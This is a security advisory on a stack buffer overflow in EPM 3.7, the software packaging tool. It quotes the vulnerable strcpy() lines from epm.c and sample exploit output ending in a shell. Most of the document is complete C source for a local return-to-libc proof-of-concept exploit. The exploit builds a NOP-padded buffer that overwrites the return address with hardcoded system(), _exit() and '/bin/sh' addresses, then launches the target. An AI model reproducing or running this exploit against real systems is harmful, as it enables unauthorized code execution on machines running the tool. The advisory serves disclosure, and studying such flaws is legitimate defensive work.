[UNIX] EPM Buffer Overflow (retlibc exploit)

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  EPM Buffer Overflow (retlibc exploit)
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SUMMARY

 <http://www.easysw.com/epm/> EPM is the software packaging tool that we 
now use at Easy Software Products. It is a simple tool that generates 
software and patch distributions in various formats.

A stack-based buffer overflow was found in the software packaging tool 
that enables the execution of code with the privileges of the user running 
the program.

DETAILS

Vulnerable Systems:
 * EPM version 3.7

Due to an unsafe copying of parameters from the command line using 
strcpy() in epm.c, the stack can be smashed and the return address 
overwritten. A small excerpt from the code is presented:
--- epm.c ---
350:   else if (strchr(argv[i], '=') != NULL)
351:     putenv(argv[i]);
352:   else if (prodname[0] == '\0')
353:     strcpy(prodname, argv[i]);
354:   else if (listname[0] == '\0')
355:     strcpy(listname, argv[i]);
--- epm.c ---

Running the exploit would yield:
[!] Usage: ./flow-epm <path> <offset>

flowsecurity $ ./flow-epm ./epm 15
[*] Program name : [./epm]
[*] Offset : [15]
[*] system() address : [0x4006d4b0]
[*] _exit() address : [0x400d8088]
[*] /bin/sh address : [0x40151439]

[!]: Bad address
sh-2.05b$


Exploit
/*
 * _____ _
 * | ___| | _____ ___
 * | |_ | |/ _ \ \ /\ / /
 * | _| | | (_) \ V V /
 * |_| |_|\___/ \_/\_/
 * Security Group.
 *
 * Description: flow-epm.c (www.flowsecurity.org)
 *
 * Proof of Concept local RetLibc exploit for EPM - 3.7(not suid
by default).
 *
 * It has been successfull tested on:
 *
 * Suse Linux 9.0
 * Greets:
 *
 * Luiz Fernando Camargo
 * Jefferson Cechinel
 * Gerrit
 * fAil
 * newbug
 *
 * Date: 29'Sep 2004
 *
 *
 * Author:
 * Thyago Silva - setnf@flowsecurity.org
 */


#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <dlfcn.h>

#define PNAME "./epm" // program name
#define NOP 0x90 // No Operation

/* You need change the addr's */
#define SYSTEM 0x4006d4b0 // system() address in libc
#define EXIT 0x400d8088 // _exit() address in libc
#define SHELL 0x40151439 // /bin/sh address in libc

int main(int argc, char *argv[])
{
  if(argc < 3 || argc > 3) {
  fprintf(stderr, "############## Flow Security ##############\n");
  fprintf(stderr, "# RetLibc Exploit for EPM - 3.7 #\n");
  fprintf(stderr, "# setnf@flowsecurity.org #\n");
  fprintf(stderr, "###########################################\n\n");
  fprintf(stderr, "[!] Usage: %s <path> <offset>\n\n", argv[0]);
  exit(0); }

  int TBUFF = ((256 + 4) + (4 * 3) + 1); /* total buffer */
  int NBUFF = ((256 / 4) + atoi(argv[2])); /* NOP buffer with offset */

  fprintf(stderr, "[*] Program name : [%s]\n", argv[1]);
  fprintf(stderr, "[*] Offset : [%d]\n", atoi(argv[2]));

  char buf[TBUFF];

  int *p = (int *)buf;

  fprintf(stderr, "[*] system() address : [%p]\n", SYSTEM);
  fprintf(stderr, "[*] _exit() address : [%p]\n", EXIT);
  fprintf(stderr, "[*] /bin/sh address : [%p]\n", SHELL);

  /* fill the first part of the buffer */

  memset(buf, NOP, TBUFF);
  p += NBUFF;

  /* prepare the stack */

  *p++ = SYSTEM;
  *p++ = EXIT;
  *p++ = SHELL;
  *p = 0x0;

  /* run the vulnerable program */

  execl(argv[1], argv[1] + 2, buf, NULL);
  perror("\n[!]");
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:setnf@flowsecurity.org> 
setnf.



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